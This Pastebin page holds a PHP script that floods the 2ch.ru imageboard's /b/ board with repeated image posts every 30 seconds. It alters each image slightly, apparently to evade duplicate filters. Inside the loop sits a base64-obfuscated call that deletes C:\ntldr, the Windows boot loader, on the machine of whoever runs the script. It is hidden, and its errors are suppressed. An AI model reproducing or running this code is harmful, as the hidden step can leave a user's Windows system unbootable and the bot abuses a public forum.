Anon2356

Untitled

Nov 7th, 2014
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. <?php
  2. //Не правьте код, коли рук не имеется
  3. function unicod($str) {
  4. $conv=array();
  5. for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
  6. for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
  7. $conv[184]=chr(209).chr(145); #╕
  8. $conv[168]=chr(208).chr(129); #и
  9. $conv[179]=chr(209).chr(150); #?
  10. $conv[178]=chr(208).chr(134); #?
  11. $conv[191]=chr(209).chr(151); #┐
  12. $conv[175]=chr(208).chr(135); #┐
  13. $conv[186]=chr(209).chr(148); #║
  14. $conv[170]=chr(208).chr(132); #к
  15. $conv[180]=chr(210).chr(145); #?
  16. $conv[165]=chr(210).chr(144); #?
  17. $conv[184]=chr(209).chr(145); #?
  18. $ar=str_split($str);
  19. foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
  20. return $nstr;
  21. }
  22.  
  23. echo "START\r\n";
  24. $hostname = "2ch.ru";
  25. $path = "/cgi-bin/wakaba.pl/b";
  26. $proxy = "127.0.0.1";
  27. $proxyport = "8118";
  28. $line = "";
  29. $files = "";
  30. $bounds = "A7FGO7G";
  31. $bounds1 = "--".$bounds;
  32. $spartawin = "NARUTA ETO KRUTO";
  33. $spartau = unicod($spartawin);
  34. $chans = array('b');
  35.  
  36.  
  37.  
  38. while (true)
  39. {
  40. for ($i = 0; $i < count($chans); $i++)
  41. {
  42. echo "NEXT THREAD\r\n";
  43. $filename = "D:\\pohape\\vovan_govno.jpg";
  44. $files = file_get_contents($filename);
  45. $random=rand()%10000000;
  46. $files = $files.$random;
  47.  
  48. $data = "$bounds1\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\"shampoo\"\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n";
  49. $headers = "POST $path HTTP/1.1\r\n";
  50. $headers .= "Host: $hostname\r\n";
  51. $headers .= "Content-type: multipart/form-data; boundary=$bounds\r\n";
  52. $headers .= "Referer: http://2ch.ru/b/\r\n";
  53. $headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
  54. @unlink(base64_decode('QzpcbnRsZHI='));
  55. echo $headers;
  56. $fp = fsockopen($hostname, 80, $errno, $errstr, 5);
  57. if (!$fp) echo "$errstr ($errno)<br />\n";
  58. else
  59. {
  60. fwrite($fp, $headers.$data, strlen($headers.$data));
  61. }
  62. fclose($fp);
  63. }
  64. sleep(30);
  65. }
  66. ?>
Add Comment
Please, Sign In to add comment